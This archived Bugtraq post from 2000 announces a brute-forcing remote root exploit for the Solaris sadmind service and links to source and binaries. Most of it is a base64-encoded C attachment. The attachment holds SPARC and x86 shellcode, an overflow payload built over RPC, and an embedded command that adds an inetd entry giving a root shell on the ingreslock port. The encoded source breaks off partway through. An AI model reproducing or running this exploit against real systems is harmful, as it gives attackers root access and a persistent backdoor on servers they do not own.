[17759] in bugtraq
solaris sadmind exploit
daemon@ATHENA.MIT.EDU (Optyx - Uberhax0r Communications)
Thu Nov 23 19:31:22 2000
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-559023410-851401618-974845631=:8688"
Message-ID: <Pine.SOL.4.21.0011211419230.8688-200000@d33r>
Date: Tue, 21 Nov 2000 14:27:11 -0800
Reply-To: Optyx - Uberhax0r Communications <optyx@UBERHAX0R.NET>
From: Optyx - Uberhax0r Communications <optyx@UBERHAX0R.NET>
To: BUGTRAQ@SECURITYFOCUS.COM
This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to mime@docserver.cac.washington.edu for more info.
---559023410-851401618-974845631=:8688
Content-Type: TEXT/PLAIN; charset=US-ASCII
This brute forces the offset and has both the x86 and sparc version inside
itself. Its fairly straight forward. Tested on Solaris Sparc 2.6 and
2.7 and x86 2.7.
For some reason in my linux machine it pukes and complains about xdr.c in
glibc. *shrug*
http://www.uberhax0r.net/~optyx/super-sadmin.c
http://www.uberhax0r.net/~optyx/super-sadmin.solaris (solaris sparc bin)
http://www.uberhax0r.net/~optyx/super-sadmin.linux (linux x86 bin)
-Optyx <optyx@uberhax0r.net>
Uberhax0r Communications, leeter than dog
---559023410-851401618-974845631=:8688
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="super-sadmin.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.SOL.4.21.0011211427110.8688@d33r>
Content-Description:
Content-Disposition: attachment; filename="super-sadmin.c"
LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKipcDQoqKiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgKioNCioqICAgIFN1cGVyIFNvbGFyaXMgc2FkbWlu
IEV4cGxvaXQgLSBCYXNlZCBvbiBzYWRtaW5leCBieSBDaGVleiBXaGl6ICAg
ICAqKg0KKiogICAgYnkgb3B0eXggPG9wdHl4QHViZXJoYXgwci5uZXQ+ICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICoqDQoqKiAgICBi
YXNlZCBvbiBzYWRtaW5zcGFyYy4gYW5kIHNhZG1pbng4Ni5jIGJ5IENoZWV6
IFdoaXogICAgICAgICAgICAgICAgKioNCioqICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAqKg0KXCoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQoN
CiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2lu
Y2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPHN0cmluZy5oPg0KI2luY2x1
ZGUgPHJwYy9ycGMuaD4NCg0KY2hhciBzaGVsbHNwYXJjW10gPSAgICAiXHgy
MFx4YmZceGZmXHhmZlx4MjBceGJmXHhmZlx4ZmZceDdmXHhmZlx4ZmZceGZm
Ig0KCQkgICAgICAgIlx4OTBceDAzXHhlMFx4NWNceDkyXHgyMlx4MjBceDEw
XHg5NFx4MWJceGMwXHgwZiINCgkJICAgICAgICJceGVjXHgwMlx4M2ZceGYw
XHhhY1x4MjJceDgwXHgxNlx4YWVceDAyXHg2MFx4MTAiDQoJCSAgICAgICAi
XHhlZVx4MjJceDNmXHhmMFx4YWVceDA1XHhlMFx4MDhceGMwXHgyZFx4ZmZc
eGZmIg0KCQkgICAgICAgIlx4ZWVceDIyXHgzZlx4ZjRceGFlXHgwNVx4ZTBc
eDAzXHhjMFx4MmRceGZmXHhmZiINCgkJICAgICAgICJceGVlXHgyMlx4M2Zc
eGY4XHhhZVx4MDVceGMwXHgxNlx4YzBceDJkXHhmZlx4ZmYiDQoJCSAgICAg
ICAiXHhjMFx4MjJceDNmXHhmY1x4ODJceDEwXHgyMFx4M2JceDkxXHhkMFx4
MjBceDA4Ig0KCQkgICAgICAgIlx4ZmZceGZmXHhmZlx4ZmZceGZmXHhmZlx4
ZmZceGZmXHhmZlx4ZmZceGZmXHhmZiINCgkJICAgICAgICJceGZmXHhmZlx4
ZmZceGZmXHgyZlx4NjJceDY5XHg2ZVx4MmZceDczXHg2OFx4ZmYiDQoJCSAg
ICAgICAiXHgyZFx4NjNceGZmIjsNCg0KY2hhciBzaGVsbHg4NltdID0gICAg
ICAiXHhlYlx4NDVceDlhXHhmZlx4ZmZceGZmXHhmZlx4MDdceGZmXHhjM1x4
NWVceDMxIg0KCQkgICAgICAgIlx4YzBceDg5XHg0Nlx4YjdceDg4XHg0Nlx4
YmNceDMxXHhjMFx4NTBceDU2XHg4YiINCgkJICAgICAgICJceDFlXHhmN1x4
ZGJceDg5XHhmN1x4ODNceGM3XHgxMFx4NTdceDg5XHgzZVx4ODMiDQoJCSAg
ICAgICAiXHhjN1x4MDhceDg4XHg0N1x4ZmZceDg5XHg3ZVx4MDRceDgzXHhj
N1x4MDNceDg4Ig0KCQkgICAgICAgIlx4NDdceGZmXHg4OVx4N2VceDA4XHgw
MVx4ZGZceDg4XHg0N1x4ZmZceDg5XHg0NiINCgkJICAgICAgICJceDBjXHhi
MFx4M2JceGU4XHhiZVx4ZmZceGZmXHhmZlx4ODNceGM0XHgwY1x4ZTgiDQoJ
CSAgICAgICAiXHhiZVx4ZmZceGZmXHhmZlx4ZmZceGZmXHhmZlx4ZmZceGZm
XHhmZlx4ZmZceGZmIg0KCQkgICAgICAgIlx4ZmZceGZmXHhmZlx4ZmZceGZm
XHhmZlx4ZmZceGZmXHgyZlx4NjJceDY5XHg2ZSINCgkJICAgICAgICJceDJm
XHg3M1x4NjhceGZmXHgyZFx4NjNceGZmIjsNCgkJICAgICAgIA0KDQppbnQg
YnVmbGVuW10JID0geyAxMDc2LCAxMDU2IH07DQppbnQgYWRkcmxlbltdIAkg
PSB7IDU2MCwgOCB9Ow0KaW50IGxlbnNbXQkgPSB7IDg0LCA3NiB9Ow0KaW50
IG9mZnNldFtdCSA9IHsgNjg4LCA1NzIgfTsNCmludCBhbGlnbm1lbnRbXQkg
PSB7IDQsIDAgfTsNCmxvbmcgaW50IG5vcHNbXQkgPSB7IDB4ODAxYmMwMGYs
IDB4OTAgfTsNCmludCBqdW5rc1tdCSA9IHsgNTEyLCA1MzYgfTsNCmNoYXIg
Y29tbWFuZFtdIAkgPSAiZWNobyAnaW5ncmVzbG9jayBzdHJlYW0gdGNwIG5v
d2FpdCByb290IC9iaW4vc2ggc2ggLWknICINCgkgICAgICAgICAgICI+IC90
bXAvLng7IC91c3Ivc2Jpbi9pbmV0ZCAtcyAvdG1wLy54OyBybSAtZiAvdG1w
Ly54OyI7DQp1bnNpZ25lZCBsb25nIGludCBzcFtdCT0geyAweGVmZmY5NTgw
LCAweGVmZmY5NDE4LCAweDA4MDQxOGVjLCAweDA4MDQxNzk4IH07DQogDQoj
ZGVmaW5lIEZSQU1FTEVOMSA2MDgNCiNkZWZpbmUgRlJBTUVMRU4yIDQyMDAN
Cg0KI2RlZmluZSBORVRNR1RfUFJPRyAxMDAyMzINCiNkZWZpbmUgTkVUTUdU
X1ZFUlMgMTANCiNkZWZpbmUgTkVUTUdUX1BST0NfUElORyAwDQojZGVmaW5l
IE5FVE1HVF9QUk9DX1NFUlZJQ0UgMQ0KDQojZGVmaW5lIE5FVE1HVF9VRFBf
UElOR19USU1FT1VUIDMwDQojZGVmaW5lIE5FVE1HVF9VRFBfUElOR19SRVRS
WV9USU1FT1VUIDUNCiNkZWZpbmUgTkVUTUdUX1VEUF9TRVJWSUNFX1RJTUVP
VVQgMQ0KI2RlZmluZSBORVRNR1RfVURQX1NFUlZJQ0VfUkVUUllfVElNRU9V
VCAyDQoNCiNkZWZpbmUgTkVUTUdUX0hFQURFUl9UWVBFIDYNCiNkZWZpbmUg
TkVUTUdUX0FSR19JTlQgMw0KI2RlZmluZSBORVRNR1RfQVJHX1NUUklORyA5
DQojZGVmaW5lIE5FVE1HVF9FTkRPRkFSR1MgIm5ldG1ndF9lbmRvZmFyZ3Mi
DQoNCiNkZWZpbmUgRldfVkVSU0lPTiAiVkVSU0lPTiINCiNkZWZpbmUgQ0xJ
RU5UX0RPTUFJTiAiQ0xJRU5UX0RPTUFJTiINCiNkZWZpbmUgRkVOQ0UgIkZF
TkNFIg0KDQpzdHJ1Y3Qgbm1fc2VuZF9oZWFkZXIgew0KCXN0cnVjdCB0aW1l
dmFsIHRpbWV2YWwxOw0KCXN0cnVjdCB0aW1ldmFsIHRpbWV2YWwyOw0KCXN0
cnVjdCB0aW1ldmFsIHRpbWV2YWwzOw0KCXVuc2lnbmVkIGludCB1aW50MTsN
Cgl1bnNpZ25lZCBpbnQgdWludDI7DQoJdW5zaWduZWQgaW50IHVpbnQzOw0K
CXVuc2lnbmVkIGludCB1aW50NDsNCgl1bnNpZ25lZCBpbnQgdWludDU7DQoJ
c3RydWN0IGluX2FkZHIgaW5hZGRyMTsNCglzdHJ1Y3QgaW5fYWRkciBpbmFk
ZHIyOw0KCXVuc2lnbmVkIGxvbmcgdWxvbmcxOw0KCXVuc2lnbmVkIGxvbmcg
dWxvbmcyOw0KCXN0cnVjdCBpbl9hZGRyIGluYWRkcjM7DQoJdW5zaWduZWQg
bG9uZyB1bG9uZzM7DQoJdW5zaWduZWQgbG9uZyB1bG9uZzQ7DQoJdW5zaWdu
ZWQgbG9uZyB1bG9uZzU7DQoJc3RydWN0IHRpbWV2YWwgdGltZXZhbDQ7DQoJ
dW5zaWduZWQgaW50IHVpbnQ2Ow0KCXN0cnVjdCB0aW1ldmFsIHRpbWV2YWw1
Ow0KCWNoYXIgKnN0cmluZzE7DQoJY2hhciAqc3RyaW5nMjsNCgljaGFyICpz
dHJpbmczOw0KCXVuc2lnbmVkIGludCB1aW50NzsNCn07DQoNCnN0cnVjdCBu
bV9zZW5kX2FyZ19pbnQgew0KCWNoYXIgKnN0cmluZzE7DQoJdW5zaWduZWQg
aW50IHVpbnQxOw0KCXVuc2lnbmVkIGludCB1aW50MjsNCglpbnQgaW50MTsN
Cgl1bnNpZ25lZCBpbnQgdWludDM7DQoJdW5zaWduZWQgaW50IHVpbnQ0Ow0K
fTsNCg0Kc3RydWN0IG5tX3NlbmRfYXJnX3N0cmluZyB7DQoJY2hhciAqc3Ry
aW5nMTsNCgl1bnNpZ25lZCBpbnQgdWludDE7DQoJdW5zaWduZWQgaW50IHVp
bnQyOw0KCWNoYXIgKnN0cmluZzI7DQoJdW5zaWduZWQgaW50IHVpbnQzOw0K
CXVuc2lnbmVkIGludCB1aW50NDsNCn07DQoNCnN0cnVjdCBubV9zZW5kX2Zv
b3RlciB7DQoJY2hhciAqc3RyaW5nMTsNCn07DQoNCnN0cnVjdCBubV9zZW5k
IHsNCglzdHJ1Y3Qgbm1fc2VuZF9oZWFkZXIgaGVhZGVyOw0KCXN0cnVjdCBu
bV9zZW5kX2FyZ19pbnQgdmVyc2lvbjsNCglzdHJ1Y3Qgbm1fc2VuZF9hcmdf
c3RyaW5nIHN0cmluZzsNCglzdHJ1Y3Qgbm1fc2VuZF9hcmdfaW50IGZlbmNl
Ow0KCXN0cnVjdCBubV9zZW5kX2Zvb3RlciBmb290ZXI7DQp9Ow0KDQpzdHJ1
Y3Qgbm1fcmVwbHkgew0KCXVuc2lnbmVkIGludCB1aW50MTsNCgl1bnNpZ25l
ZCBpbnQgdWludDI7DQoJY2hhciAqc3RyaW5nMTsNCn07DQoNCmJvb2xfdCB4
ZHJfbm1fc2VuZF9oZWFkZXIoWERSICp4ZHJzLCBzdHJ1Y3Qgbm1fc2VuZF9o
ZWFkZXIgKm9ianApDQp7DQoJY2hhciAqYWRkcjsNCglzaXplX3Qgc2l6ZSA9
IHNpemVvZihzdHJ1Y3QgaW5fYWRkcik7DQoNCglpZigheGRyX2xvbmcoeGRy
cywgJm9ianAtPnRpbWV2YWwxLnR2X3NlYykpDQoJCXJldHVybiAoRkFMU0Up
Ow0KCWlmKCF4ZHJfbG9uZyh4ZHJzLCAmb2JqcC0+dGltZXZhbDEudHZfdXNl
YykpDQoJCXJldHVybiAoRkFMU0UpOw0KCWlmKCF4ZHJfbG9uZyh4ZHJzLCAm
b2JqcC0+dGltZXZhbDIudHZfc2VjKSkNCgkJcmV0dXJuIChGQUxTRSk7DQoJ
aWYoIXhkcl9sb25nKHhkcnMsICZvYmpwLT50aW1ldmFsMi50dl91c2VjKSkN
CgkJcmV0dXJuIChGQUxTRSk7DQoJaWYoIXhkcl9sb25nKHhkcnMsICZvYmpw
LT50aW1ldmFsMy50dl9zZWMpKQ0KCQlyZXR1cm4gKEZBTFNFKTsNCglpZigh
eGRyX2xvbmcoeGRycywgJm9ianAtPnRpbWV2YWwzLnR2X3VzZWMpKQ0KCQly
ZXR1cm4gKEZBTFNFKTsNCglpZigheGRyX3VfaW50KHhkcnMsICZvYmpwLT51
aW50MSkpDQoJCXJldHVybiAoRkFMU0UpOw0KCWlmKCF4ZHJfdV9pbnQoeGRy
cywgJm9ianAtPnVpbnQyKSkNCgkJcmV0dXJuIChGQUxTRSk7DQoJaWYoIXhk
cl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDMpKQ0KCQlyZXR1cm4gKEZBTFNF
KTsNCglpZigheGRyX3VfaW50KHhkcnMsICZvYmpwLT51aW50NCkpDQoJCXJl
dHVybiAoRkFMU0UpOw0KCWlmKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVp
bnQ1KSkNCgkJcmV0dXJuIChGQUxTRSk7DQoJYWRkciA9IChjaGFyICopICZv
YmpwLT5pbmFkZHIxLnNfYWRkcjsNCglpZigheGRyX2J5dGVzKHhkcnMsICZh
ZGRyLCAmc2l6ZSwgc2l6ZSkpDQoJCXJldHVybiAoRkFMU0UpOw0KCWlmKCF4
ZHJfdV9sb25nKHhkcnMsICZvYmpwLT51bG9uZzEpKQ0KCQlyZXR1cm4gKEZB
TFNFKTsNCglpZigheGRyX3VfbG9uZyh4ZHJzLCAmb2JqcC0+dWxvbmcyKSkN
CgkJcmV0dXJuIChGQUxTRSk7DQoJaWYoIXhkcl91X2xvbmcoeGRycywgJm9i
anAtPnVsb25nMykpDQoJCXJldHVybiAoRkFMU0UpOw0KCWlmKCF4ZHJfdV9s
b25nKHhkcnMsICZvYmpwLT51bG9uZzQpKQ0KCQlyZXR1cm4gKEZBTFNFKTsN
CglpZigheGRyX3VfbG9uZyh4ZHJzLCAmb2JqcC0+dWxvbmc1KSkNCgkJcmV0
dXJuIChGQUxTRSk7DQoJaWYoIXhkcl9sb25nKHhkcnMsICZvYmpwLT50aW1l
dmFsNC50dl9zZWMpKQ0KCQlyZXR1cm4gKEZBTFNFKTsNCglpZigheGRyX2xv
bmcoeGRycywgJm9ianAtPnRpbWV2YWw0LnR2X3VzZWMpKQ0KCQlyZXR1cm4g
KEZBTFNFKTsNCglpZigheGRyX3VfaW50KHhkcnMsICZvYmpwLT51aW50Nikp
DQoJCXJldHVybiAoRkFMU0UpOw0KCWlmKCF4ZHJfbG9uZyh4ZHJzLCAmb2Jq
cC0+dGltZXZhbDUudHZfc2VjKSkNCgkJcmV0dXJuIChGQUxTRSk7DQoJaWYo
IXhkcl9sb25nKHhkcnMsICZvYmpwLT50aW1ldmFsNS50dl91c2VjKSkNCgkJ
cmV0dXJuIChGQUxTRSk7DQoJaWYoIXhkcl93cmFwc3RyaW5nKHhkcnMsICZv
YmpwLT5zdHJpbmcxKSkNCgkJcmV0dXJuIChGQUxTRSk7DQoJaWYoIXhkcl93
cmFwc3RyaW5nKHhkcnMsICZvYmpwLT5zdHJpbmcyKSkNCgkJcmV0dXJuIChG
QUxTRSk7DQoJaWYoIXhkcl93cmFwc3RyaW5nKHhkcnMsICZvYmpwLT5zdHJp
bmczKSkNCgkJcmV0dXJuIChGQUxTRSk7DQoJaWYoIXhkcl91X2ludCh4ZHJz
LCAmb2JqcC0+dWludDcpKQ0KCQlyZXR1cm4gKEZBTFNFKTsNCglyZXR1cm4g
KFRSVUUpOw0KfQ0KDQpib29sX3QgeGRyX25tX3NlbmRfYXJnX2ludChYRFIg
KnhkcnMsIHN0cnVjdCBubV9zZW5kX2FyZ19pbnQgKm9ianApDQp7DQoJaWYo
IXhkcl93cmFwc3RyaW5nKHhkcnMsICZvYmpwLT5zdHJpbmcxKSkNCgkJcmV0
dXJuIChGQUxTRSk7DQoJaWYoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWlu
dDEpKQ0KCQlyZXR1cm4gKEZBTFNFKTsNCglpZigheGRyX3VfaW50KHhkcnMs
ICZvYmpwLT51aW50MikpDQoJCXJldHVybiAoRkFMU0UpOw0KCWlmKCF4ZHJf
aW50KHhkcnMsICZvYmpwLT5pbnQxKSkNCgkJcmV0dXJuIChGQUxTRSk7DQoJ
aWYoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDMpKQ0KCQlyZXR1cm4g
KEZBTFNFKTsNCglpZigheGRyX3VfaW50KHhkcnMsICZvYmpwLT51aW50NCkp
DQoJCXJldHVybiAoRkFMU0UpOw0KCXJldHVybiAoVFJVRSk7DQp9DQoNCmJv
b2xfdCB4ZHJfbm1fc2VuZF9hcmdfc3RyaW5nKFhEUiAqeGRycywgc3RydWN0
IG5tX3NlbmRfYXJnX3N0cmluZyAqb2JqcCkNCnsNCglpZigheGRyX3dyYXBz
dHJpbmcoeGRycywgJm9ianAtPnN0cmluZzEpKQ0KCQlyZXR1cm4gKEZBTFNF
KTsNCglpZigheGRyX3VfaW50KHhkcnMsICZvYmpwLT51aW50MSkpDQoJCXJl
dHVybiAoRkFMU0UpOw0KCWlmKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVp
bnQyKSkNCgkJcmV0dXJuIChGQUxTRSk7DQoJaWYoIXhkcl93cmFwc3RyaW5n
KHhkcnMsICZvYmpwLT5zdHJpbmcyKSkNCgkJcmV0dXJuIChGQUxTRSk7DQoJ
aWYoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDMpKQ0KCQlyZXR1cm4g
KEZBTFNFKTsNCglpZigheGRyX3VfaW50KHhkcnMsICZvYmpwLT51aW50NCkp
DQoJCXJldHVybiAoRkFMU0UpOw0KCXJldHVybiAoVFJVRSk7DQp9DQoNCmJv
b2xfdCB4ZHJfbm1fc2VuZF9mb290ZXIoWERSICp4ZHJzLCBzdHJ1Y3Qgbm1f
c2VuZF9mb290ZXIgKm9ianApDQp7DQoJaWYoIXhkcl93cmFwc3RyaW5nKHhk
cnMsICZvYmpwLT5zdHJpbmcxKSkNCgkJcmV0dXJuIChGQUxTRSk7DQoJcmV0
dXJuIChUUlVFKTsNCn0NCg0KYm9vbF90IHhkcl9ubV9zZW5kKFhEUiAqeGRy
cywgc3RydWN0IG5tX3NlbmQgKm9ianApDQp7DQoJaWYoIXhkcl9ubV9zZW5k
X2hlYWRlcih4ZHJzLCAmb2JqcC0+aGVhZGVyKSkNCgkJcmV0dXJuIChGQUxT
RSk7DQoJaWYoIXhkcl9ubV9zZW5kX2FyZ19pbnQoeGRycywgJm9ianAtPnZl
cnNpb24pKQ0KCQlyZXR1cm4gKEZBTFNFKTsNCglpZigheGRyX25tX3NlbmRf
YXJnX3N0cmluZyh4ZHJzLCAmb2JqcC0+c3RyaW5nKSkNCgkJcmV0dXJuIChG
QUxTRSk7DQoJaWYoIXhkcl9ubV9zZW5kX2FyZ19pbnQoeGRycywgJm9ianAt
PmZlbmNlKSkNCgkJcmV0dXJuIChGQUxTRSk7DQoJaWYoIXhkcl9ubV9zZW5k
X2Zvb3Rlcih4ZHJzLCAmb2JqcC0+Zm9vdGVyKSkNCgkJcmV0dXJuIChGQUxT
RSk7DQoJcmV0dXJuIChUUlVFKTsNCn0NCg0KYm9vbF90IHhkcl9ubV9yZXBs
eShYRFIgKnhkcnMsIHN0cnVjdCBubV9yZXBseSAqb2JqcCkNCnsNCglpZigh
eGRyX3VfaW50KHhkcnMsICZvYmpwLT51aW50MSkpDQoJCXJldHVybiAoRkFM
U0UpOw0KCWlmKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVpbnQyKSkNCgkJ
cmV0dXJuIChGQUxTRSk7DQoJaWYoIXhkcl93cmFwc3RyaW5nKHhkcnMsICZv
YmpwLT5zdHJpbmcxKSkNCgkJcmV0dXJuIChGQUxTRSk7DQoJcmV0dXJuIChU
UlVFKTsNCn0NCg0Kdm9pZCB1c2FnZShjaGFyICpwcm9nKQ0Kew0KCWZwcmlu
dGYoc3RkZXJyLCAidXNhZ2U6ICVzIC10IHRhcmdldCAtYSBhcmNoIFstcyBz
aXplXSIsIHByb2cpOw0KCWZwcmludGYoc3RkZXJyLCAiIFstaSBpbmNyZW1l
bnRdIFstcF1cbiIpOw0KCWZwcmludGYoc3RkZXJyLCAiXHRhcmNoaXRlY3R1
cmVzOlxuIik7DQoJZnByaW50ZihzdGRlcnIsICJcdDAgLSBTb2xhcmlzIFNQ
QVJDIDIuNlxuIik7DQoJZnByaW50ZihzdGRlcnIsICJcdDEgLSBTb2xhcmlz
IFNQQVJDIDIuNyAoNy4wKVxuIik7DQoJZnByaW50ZihzdGRlcnIsICJcdDIg
LSBTb2xhcmlzIHg4NiAgIDIuNlxuIik7DQoJZnByaW50ZihzdGRlcnIsICJc
dDMgLSBTb2xhcmlzIHg4NiAgIDIuNyAoNy4wKVxuXG4iKTsNCg0KCWV4aXQo
LTEpOwkNCn0NCg0KaW50IGV4cChjaGFyICpob3N0LCBpbnQgYXJjaCwgdW5z
aWduZWQgbG9uZyBpbnQgc3AsIGludCBwaW5naW5nKQ0Kew0KCUNMSUVOVCAq
Y2w7DQoJc3RydWN0IG5tX3NlbmQgc2VuZDsNCglzdHJ1Y3Qgbm1fcmVwbHkg
cmVwbHk7DQoJc3RydWN0IHRpbWV2YWwgdG07DQoJZW51bSBjbG50X3N0YXQg
c3RhdDsNCglpbnQgYywgaSwgbGVuLCBzbGVuLCBjbGVuLCBqdW5rLCBhOw0K
CWNoYXIgKmNwLCAqYnVmOw0KCXVuc2lnbmVkIGxvbmcgaW50IGFkZHIsIGZw
Ow0KCQ0KCWEgPSAoaW50KSBhcmNoIC8gMjsJDQoJYnVmID0gKGNoYXIgKikg
bWFsbG9jKGJ1ZmxlblthXSArIDEpOw0KDQoJaWYoYSkNCgl7DQoJCS8qIFNv
bGFyaXMgeDg2ICovDQoJCW1lbXNldChidWYsIG5vcHNbYV0sIGJ1Zmxlblth
XSk7DQoJCWp1bmsgPSBqdW5rc1thcmNoIC0gMl07DQoJCWp1bmsgJj0gMHhm
ZmZmZmZmYzsNCg0KCQlmb3IgKGkgPSAwLCBjcCA9IGJ1ZiArIGFsaWdubWVu
dFthXTsgaSA8IGp1bmsgLyA0OyBpKyspIA0KCQl7DQoJCQkqY3ArKyA9IChz
cCA+PiAgMCkgJiAweGZmOw0KCQkJKmNwKysgPSAoc3AgPj4gIDgpICYgMHhm
ZjsNCgkJCSpjcCsrID0gKHNwID4+IDE2KSAmIDB4ZmY7DQoJCQkqY3ArKyA9
IChzcCA+PiAyNCkgJiAweGZmOw0KCQl9DQoNCgkJYWRkciA9IHNwICsgb2Zm
c2V0W2FdOw0KDQoJCWZvciAoaSA9IDA7IGkgPCBhZGRybGVuW2FdIC8gNDsg
aSsrKSANCgkJew0KCQkJKmNwKysgPSAoYWRkciA+PiAgMCkgJiAweGZmOw0K
CQkJKmNwKysgPSAoYWRkciA+PiAgOCkgJiAweGZmOw0KCQkJKmNwKysgPSAo
YWRkciA+PiAxNikgJiAweGZmOw0KCQkJKmNwKysgPSAoYWRkciA+PiAyNCkg
JiAweGZmOw0KCQl9DQoNCgkJc2xlbiA9IHN0cmxlbihzaGVsbHg4Nik7IA0K
CQljbGVuID0gc3RybGVuKGNvbW1hbmQpOw0KCQlsZW4gPSBjbGVuOyANCgkJ
bGVuKys7IA0KCQlsZW4gPSAtbGVuOw0KCQlzaGVsbHg4NltsZW5zW2FdKzBd
ID0gKGxlbiA+PiAgMCkgJiAweGZmOw0KCQlzaGVsbHg4NltsZW5zW2FdKzFd
ID0gKGxlbiA+PiAgOCkgJiAweGZmOw0KCQlzaGVsbHg4NltsZW5zW2FdKzJd
ID0gKGxlbiA+PiAxNikgJiAweGZmOw0KCQlzaGVsbHg4NltsZW5zW2FdKzNd
ID0gKGxlbiA+PiAyNCkgJiAweGZmOw0KCQljcCA9IGJ1ZiArIGJ1Zmxlblth
XSAtIDEgLSBjbGVuIC0gc2xlbjsNCgkJbWVtY3B5KGNwLCBzaGVsbHg4Niwg
c2xlbik7IA0KCQljcCArPSBzbGVuOw0KCQltZW1jcHkoY3AsIGNvbW1hbmQs
IGNsZW4pOyANCgkJY3AgKz0gY2xlbjsNCgkJKmNwID0gJ1x4ZmYnOw0KCX0N
CgllbHNlDQoJew0KCQkvKiBTb2xhcmlzIFNQQVJDICovDQoJCW1lbXNldChi
dWYsICdceGZmJywgYnVmbGVuW2FdKTsNCgkJZnAgPSBzcCArIEZSQU1FTEVO
MSArIEZSQU1FTEVOMjsNCgkJZnAgJj0gMHhmZmZmZmZmODsNCgkJYWRkciA9
IHNwICsgb2Zmc2V0W2FdOw0KCQlhZGRyICY9IDB4ZmZmZmZmZmM7DQoNCgkJ
Zm9yKGkgPSAwLCBjcCA9IGJ1ZiArIGFsaWdubWVudFthXTsgaSA8IGFkZHJs
ZW5bYV0gLyA4OyBpKyspDQoJCXsNCgkJCSpjcCsrID0gKGZwID4+IDI0KSAm
IDB4ZmY7DQoJCQkqY3ArKyA9IChmcCA+PiAxNikgJiAweGZmOw0KCQkJKmNw
KysgPSAoZnAgPj4gIDgpICYgMHhmZjsNCgkJCSpjcCsrID0gKGZwID4+ICAw
KSAmIDB4ZmY7DQoJCQkqY3ArKyA9IChhZGRyID4+IDI0KSAmIDB4ZmY7DQoJ
CQkqY3ArKyA9IChhZGRyID4+IDE2KSAmIDB4ZmY7DQoJCQkqY3ArKyA9IChh
ZGRyID4+ICA4KSAmIDB4ZmY7DQoJCQkqY3ArKyA9IChhZGRyID4+ICAwKSAm
IDB4ZmY7DQoJCX0NCgkJDQoJCXNsZW4gPSBzdHJsZW4oc2hlbGxzcGFyYyk7
DQoJCWNsZW4gPSBzdHJsZW4oY29tbWFuZCk7DQoJCWxlbiA9IGJ1Zmxlblth
XSAtIDEgLSBjbGVuIC0gc2xlbiAtIGFkZHJsZW5bYV0gLSBhbGlnbm1lbnRb
YV07DQoJCWxlbiAmPSAweGZmZmZmZmZjOw0KCQlmb3IoaSA9IDA7IGkgPCBs
ZW5zW2FdIC8gNDsgaSsrKQ0KCQl7DQoJCQkqY3ArKyA9IChub3BzW2FdID4+
IDI0KSAmIDB4ZmY7DQoJCQkqY3ArKyA9IChub3BzW2FdID4+IDE2KSAmIDB4
ZmY7DQoJCQkqY3ArKyA9IChub3BzW2FdID4+ICA4KSAmIDB4ZmY7DQoJCQkq
Y3ArKyA9IChub3BzW2FdID4+ICAwKSAmIDB4ZmY7DQoJCX0NCgkJbGVuID0g
Y2xlbjsNCgkJbGVuKys7DQoJCWxlbiA9IC1sZW47DQoJCXNoZWxsc3BhcmNb
bGVuc1thXSswXSA9IChsZW4gPj4gMjQpICYgMHhmZjsNCgkJc2hlbGxzcGFy
Y1tsZW5zW2FdKzFdID0gKGxlbiA+PiAxNikgJiAweGZmOw0KCQlzaGVsbHNw
YXJjW2xlbnNbYV0rMl0gPSAobGVuID4+ICA4KSAmIDB4ZmY7DQoJCXNoZWxs
c3BhcmNbbGVuc1thXSszXSA9IChsZW4gPj4gIDApICYgMHhmZjsNCgkJbWVt
Y3B5KGNwLCBzaGVsbHNwYXJjLCBzbGVuKTsNCgkJY3AgKz0gc2xlbjsNCgkJ
bWVtY3B5KGNwLCBjb21tYW5kLCBjbGVuKTsNCgl9DQoNCglidWZbYnVmbGVu
W2FdXSA9ICdcMCc7DQoJbWVtc2V0KCZzZW5kLCAwLCBzaXplb2Yoc3RydWN0
IG5tX3NlbmQpKTsNCglzZW5kLmhlYWRlci51aW50MiA9IE5FVE1HVF9IRUFE
RVJfVFlQRTsNCglzZW5kLmhlYWRlci5zdHJpbmcxID0gIiI7DQoJc2VuZC5o
ZWFkZXIuc3RyaW5nMiA9ICIiOw0KCXNlbmQuaGVhZGVyLnN0cmluZzMgPSAi
IjsNCglzZW5kLmhlYWRlci51aW50NyA9DQoJCXN0cmxlbihGV19WRVJTSU9O
KSArIDEgKw0KCQkoNCAqIHNpemVvZih1bnNpZ25lZCBpbnQpKSArIHNpemVv
ZihpbnQpICsNCgkJc3RybGVuKENMSUVOVF9ET01BSU4pICsgMSArDQoJCSg0
ICogc2l6ZW9mKHVuc2lnbmVkIGludCkpICsgc3RybGVuKGJ1ZikgKyAxICsN
CgkJc3RybGVuKEZFTkNFKSArIDEgKw0KCQkoNCAqIHNpemVvZih1bnNpZ25l
ZCBpbnQpKSArIHNpemVvZihpbnQpICsNCgkJc3RybGVuKE5FVE1HVF9FTkRP
RkFSR1MpICsgMTsNCglzZW5kLnZlcnNpb24uc3RyaW5nMSA9IEZXX1ZFUlNJ
T047DQoJc2VuZC52ZXJzaW9uLnVpbnQxID0gTkVUTUdUX0FSR19JTlQ7DQoJ
c2VuZC52ZXJzaW9uLnVpbnQyID0gc2l6ZW9mKGludCk7DQoJc2VuZC52ZXJz
aW9uLmludDEgPSAxOw0KCXNlbmQuc3RyaW5nLnN0cmluZzEgPSBDTElFTlRf
